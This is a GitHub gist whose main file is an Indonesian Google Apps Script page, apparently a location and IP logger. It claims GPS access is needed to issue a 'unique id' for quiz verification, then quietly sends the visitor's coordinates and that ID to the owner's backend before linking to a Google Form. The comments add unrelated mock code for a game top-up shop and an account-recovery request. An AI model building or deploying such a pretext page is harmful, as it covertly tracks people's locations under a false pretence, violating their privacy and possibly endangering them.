Skip to content

Instantly share code, notes, and snippets.

@zaelani23

zaelani23/Index.html

Last active December 4, 2025 01:39
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save zaelani23/d3dcdc765eab14c6a21ffa306e338108 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save zaelani23/d3dcdc765eab14c6a21ffa306e338108 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Index.html
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
</head>
<body onload="getLocation()">
<div class='container'>
<form>
<p class='h4 mb-4 text-center'>Klik 'Mulai' untuk melanjutkan!!</p>
<p>Aktifkan GPS SmartPhone kalian dan izinkan akses lokasi untuk mendapatkan unique id, silakan reload jika anda belum mengizinkan akses lokasi.</p>
<div class='form-group'>
<label for='ip'>IP Address:</label>
<?!= include(); ?>
</div>
<div class='form-group'>
<label for='unik'>Unique ID:</label><p>silakkan salin unique id anda untuk proses verifikasi jawaban anda nanti.</p>
<input type='text' class='form-control' id='unik' readonly>
</div>
<a type="button" class="btn btn-primary" href='GANTI DENGAN LINK GOOGLE FORM KALIAN' target='_blank'>Mulai</a>
</form>
</div>
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
<script>
function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition);
}
}
function makeid() {
var result = '';
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for ( var i = 0; i < 7; i++ ) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}
document.getElementById("unik").value = result;
return result;
}
function showPosition(position) {
google.script.run.processForm(makeid(),position.coords.latitude,position.coords.longitude);
}
</script>
</body>
</html>
@am8397505-crypto
Copy link

am8397505-crypto commented Nov 14, 2025

----- index.html -----
<!doctype html>

<title>TopUpByArif — Top Up Game, Pulsa & E-Wallet</title>
TB

TopUpByArif

Cepat • Aman • Mewah

Hubungi Mulai Top Up

Top Up Game, Pulsa & E-Wallet Cepat — Aman — Mewah

Nikmati proses top up otomatis, harga kompetitif, dan layanan customer care 24/7. Pilih game atau layananmu, masukkan ID, bayar, dan saldo langsung masuk.

Saldo Tersedia

Rp 50.000

Top up cepat via QRIS / E-wallet / Bank

Top-up Cepat

<section class="products container">
  <h3 class="section-title">Pilihan Produk</h3>
  <div class="products-grid" id="products-grid">
    <!-- product cards injected by JS -->
  </div>
</section>

<section class="how container">
  <h3 class="section-title">Cara Order</h3>
  <ol>
    <li>Pilih produk & nominal.</li>
    <li>Masukkan ID game / nomor telepon / akun e-wallet.</li>
    <li>Pilih metode pembayaran & bayar.</li>
    <li>Pesanan diproses otomatis, saldo masuk langsung.</li>
  </ol>
</section>

<section class="testimoni container">
  <h3 class="section-title">Testimoni</h3>
  <div class="testi-grid" id="testi-grid">
    <div class="testi">"Cepat dan aman! Diamond masuk 1 menit." — Raka</div>
    <div class="testi">"Harga bersaing, CS fast respon." — Siti</div>
    <div class="testi">"Rekomendasi!" — Bayu</div>
  </div>
</section>
© TopUpByArif
Payment: QRIS • Dana • GoPay • Ovo • Bank
✕

Order

Produk Nominal ID Game / No HP Metode Pembayaran QRIS Dana GoPay Bank Transfer
Bayar & Proses Batal
<script src="script.js"></script>

----- styles.css -----
/* styles.css - neon premium theme */
:root{
--bg:#07070b;
--card:#0f1116;
--neon:#00ff88;
--accent:#9b59ff;
--muted:#9aa0a6;
--glass: rgba(255,255,255,0.03);
}
*{box-sizing:border-box;font-family:'Poppins',system-ui,-apple-system,Segoe UI,Roboto,'Helvetica Neue',Arial}
html,body{height:100%;margin:0;background:linear-gradient(180deg,#040406 0%,#0b0b10 60%);color:#e6eef8}
.container{max-width:1100px;margin:0 auto;padding:20px}
.nav{position:sticky;top:0;background:linear-gradient(180deg, rgba(0,0,0,0.4), rgba(0,0,0,0.2));backdrop-filter: blur(6px);border-bottom:1px solid rgba(255,255,255,0.03)}
.nav .container{display:flex;align-items:center;justify-content:space-between}
.brand{display:flex;gap:12px;align-items:center}
.logo{width:48px;height:48px;border-radius:12px;background:linear-gradient(135deg,var(--neon),var(--accent));display:flex;align-items:center;justify-content:center;font-weight:700;color:#051018}
.brand h1{margin:0;font-size:18px}
.tag{color:var(--muted);font-size:12px;margin-top:2px}
.nav-actions{display:flex;gap:12px;align-items:center}
button, .btn-primary, .btn-ghost{font-weight:600;padding:10px 14px;border-radius:10px;border:0;cursor:pointer}
.btn-primary{background:linear-gradient(90deg,var(--neon),var(--accent));color:#051018;box-shadow:0 6px 24px rgba(0,255,120,0.06);}
.btn-ghost{background:transparent;border:1px solid rgba(255,255,255,0.04);color:var(--neon)}
.hero{padding:36px 0}
.hero-inner{display:flex;gap:24px;align-items:stretch}
.hero-left{flex:1}
.hero-right{width:320px}
.hero h2{font-size:28px;margin:0 0 12px}
.lead{color:var(--muted);margin-top:8px}
.neon{color:var(--neon);font-weight:700}
.card{background:linear-gradient(180deg, rgba(255,255,255,0.02), rgba(255,255,255,0.01));border-radius:12px;padding:16px;margin-bottom:14px;border:1px solid rgba(255,255,255,0.03)}
.balance .big{font-size:22px;margin:8px 0}
.quick-grid{display:flex;flex-wrap:wrap;gap:8px}
.quick-item{background:var(--glass);padding:8px;border-radius:8px;font-size:13px;border:1px solid rgba(255,255,255,0.02)}
.products{padding:20px 0}
.section-title{font-size:20px;margin-bottom:12px}
.products-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));gap:16px}
.product{background:linear-gradient(180deg, rgba(255,255,255,0.015), rgba(255,255,255,0.01));padding:16px;border-radius:12px;border:1px solid rgba(255,255,255,0.03);display:flex;flex-direction:column;gap:8px}
.product .title{font-weight:600}
.product .price{color:var(--neon);font-weight:700}
.product .buy{margin-top:auto;display:flex;gap:8px}
.btn-small{padding:8px 10px;border-radius:8px}
.how{padding:12px 0}
.testimoni{padding:12px 0}
.testi-grid{display:flex;gap:12px}
.testi{background:var(--card);padding:14px;border-radius:10px;border:1px solid rgba(255,255,255,0.02)}
.site-footer{padding:16px 0;border-top:1px solid rgba(255,255,255,0.02);margin-top:30px}
.footer-inner{display:flex;justify-content:space-between;color:var(--muted)}
.modal{position:fixed;inset:0;background:linear-gradient(180deg, rgba(2,2,6,0.6), rgba(2,2,6,0.8));display:flex;align-items:center;justify-content:center;padding:20px}
.modal-card{width:100%;max-width:520px;background:linear-gradient(180deg,#07101f,#08111a);border-radius:12px;padding:18px;border:1px solid rgba(255,255,255,0.03);position:relative}
.modal-close{position:absolute;right:12px;top:12px;background:transparent;color:var(--muted);border:0;font-size:18px}
label{display:block;margin:10px 0;color:var(--muted)}
input,select{width:100%;padding:10px;border-radius:8px;border:1px solid rgba(255,255,255,0.04);background:transparent;color:inherit}
.form-actions{display:flex;gap:8px;margin-top:12px}
.order-result{margin-top:12px;padding:12px;border-radius:8px;background:rgba(0,0,0,0.25)}
.hidden{display:none}
@media(max-width:880px){.hero-inner{flex-direction:column}.hero-right{width:100%}.footer-inner{flex-direction:column;gap:8px}}

----- script.js -----
// script.js - mock frontend logic (no backend)
const products = [
{id: 'mlbb', name: 'MLBB Diamond', game: 'Mobile Legends', options: [50, 90, 190, 380], currency: 'Diamond'},
{id: 'ff', name: 'Free Fire Diamond', game: 'Free Fire', options: [50, 140, 355], currency: 'Diamond'},
{id: 'pubg', name: 'PUBG UC', game: 'PUBG Mobile', options: [60, 300, 620], currency: 'UC'},
{id: 'pulsa', name: 'Pulsa Telkomsel', game: 'Pulsa', options: [5000, 10000, 20000], currency: 'Rp'},
{id: 'ewallet', name: 'Top Up Dana', game: 'E-Wallet', options: [10000, 50000, 100000], currency: 'Rp'},
];

// helper: format currency
function formatRp(n){ return n.toString().replace(/\B(?=(\d{3})+(?!\d))/g, '.') }

document.addEventListener('DOMContentLoaded', ()=>{
document.getElementById('year').textContent = new Date().getFullYear();

const productsGrid = document.getElementById('products-grid');
const quick = document.getElementById('quick-products');
const balance = document.getElementById('balance');

// populate quick
products.slice(0,4).forEach(p=>{
const div = document.createElement('div');div.className='quick-item';div.textContent=p.name;quick.appendChild(div);
});

// product cards
products.forEach(p=>{
const card = document.createElement('div');card.className='product';
const title = document.createElement('div');title.className='title';title.textContent=p.name;
const meta = document.createElement('div');meta.textContent=p.game + ' • ' + p.currency;
const opts = document.createElement('div');opts.style.display='flex';opts.style.gap='8px';
p.options.forEach(o=>{const b=document.createElement('div');b.className='btn-small btn-ghost';b.textContent=o + ' ' + p.currency;b.addEventListener('click',()=>openOrder(p,o));opts.appendChild(b)});
const buy = document.createElement('div');buy.className='buy';
const price = document.createElement('div');price.className='price';price.textContent='Rp ' + formatRp(calcPrice(p, p.options[0]));
const btn = document.createElement('button');btn.className='btn-primary';btn.textContent='Beli';btn.addEventListener('click',()=>openOrder(p,p.options[0]));
buy.appendChild(price);buy.appendChild(btn);

card.appendChild(title);card.appendChild(meta);card.appendChild(opts);card.appendChild(buy);
productsGrid.appendChild(card);

});

// modal controls
const modal = document.getElementById('modal');
const modalClose = document.getElementById('modal-close');
const modalCancel = document.getElementById('modal-cancel');
document.getElementById('btn-start').addEventListener('click', ()=> openOrder());
document.getElementById('cta-topup').addEventListener('click', ()=> openOrder());
document.getElementById('btn-contact').addEventListener('click', ()=> alert('Hubungi via WhatsApp: +62812xxxx'));
modalClose.addEventListener('click', closeModal);
modalCancel.addEventListener('click', closeModal);

function openOrder(product=null, nominal=null){
modal.classList.remove('hidden');
const ps = document.getElementById('product-select'); ps.innerHTML='';
products.forEach(p=>{const o=document.createElement('option');o.value=p.id;o.textContent=p.name;ps.appendChild(o)});
const ns = document.getElementById('nominal-select'); ns.innerHTML='';
const selected = product || products[0];
selected.options.forEach(opt=>{const o=document.createElement('option');o.value=opt;o.textContent=opt + ' ' + selected.currency;ns.appendChild(o)});
if(product) ps.value = product.id;
if(nominal) ns.value = nominal;

// when product changes, update nominals
ps.onchange = function(){
  const pid = ps.value; const p = products.find(x=>x.id===pid);
  ns.innerHTML=''; p.options.forEach(opt=>{const o=document.createElement('option');o.value=opt;o.textContent=opt + ' ' + p.currency;ns.appendChild(o)})
}

}

function closeModal(){
document.getElementById('order-form').reset();
document.getElementById('order-result').classList.add('hidden');
modal.classList.add('hidden');
}

// order form submit (mock)
document.getElementById('order-form').addEventListener('submit', async (e)=>{
e.preventDefault();
const pid = document.getElementById('product-select').value;
const nom = document.getElementById('nominal-select').value;
const uid = document.getElementById('user-id').value.trim();
const pay = document.getElementById('payment-select').value;
if(!uid){alert('Masukkan ID / No HP');return}

// mock processing
const result = document.getElementById('order-result');
result.classList.remove('hidden'); result.innerHTML = '<b>Memproses pesanan...</b>';

// simulate API call delay
await new Promise(r=>setTimeout(r,1200));

// mock success
const orderId = 'ORD' + Date.now();
result.innerHTML = `<div>Pesanan sukses!<br>Order ID: <b>${orderId}</b><br>Produk: <b>${pid}</b><br>Nominal: <b>${nom}</b><br>Metode: <b>${pay}</b><br>Status: <b>Berhasil</b></div>`;

// optionally reduce balance (mock)
const curBal = parseInt(document.getElementById('balance').textContent.replace(/\D/g,''));
const price = calcPrice(products.find(p=>p.id===pid), nom);
document.getElementById('balance').textContent = Math.max(0, curBal - price);

// auto close after delay
setTimeout(()=>{closeModal()}, 2200);

});

});

function calcPrice(product, nominal){
// simple mock pricing logic
const base = 1000; // base per unit
let multiplier = 1;
if(product.currency === 'Diamond' || product.currency === 'UC') multiplier = 200; // made-up
if(product.game === 'Pulsa' || product.game === 'E-Wallet') multiplier = 1;
const price = (Number(nominal) * multiplier) + base;
return Math.round(price);
}

@clevintjuniortapun-sudo
Copy link

clevintjuniortapun-sudo commented Nov 19, 2025

Tolong akun saya balikin ralvindra2_

@clevintjuniortapun-sudo
Copy link

clevintjuniortapun-sudo commented Nov 19, 2025

Uploading 1000166293.png…

@zaelani23
Copy link
Author

zaelani23 commented Nov 19, 2025

Tolong akun saya balikin ralvindra2_

Maaf saya gak buka jasa balikin akun.

Btw kalian bisa command disini darimana?

@gustiyt15-glitch
Copy link

gustiyt15-glitch commented Nov 19, 2025 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment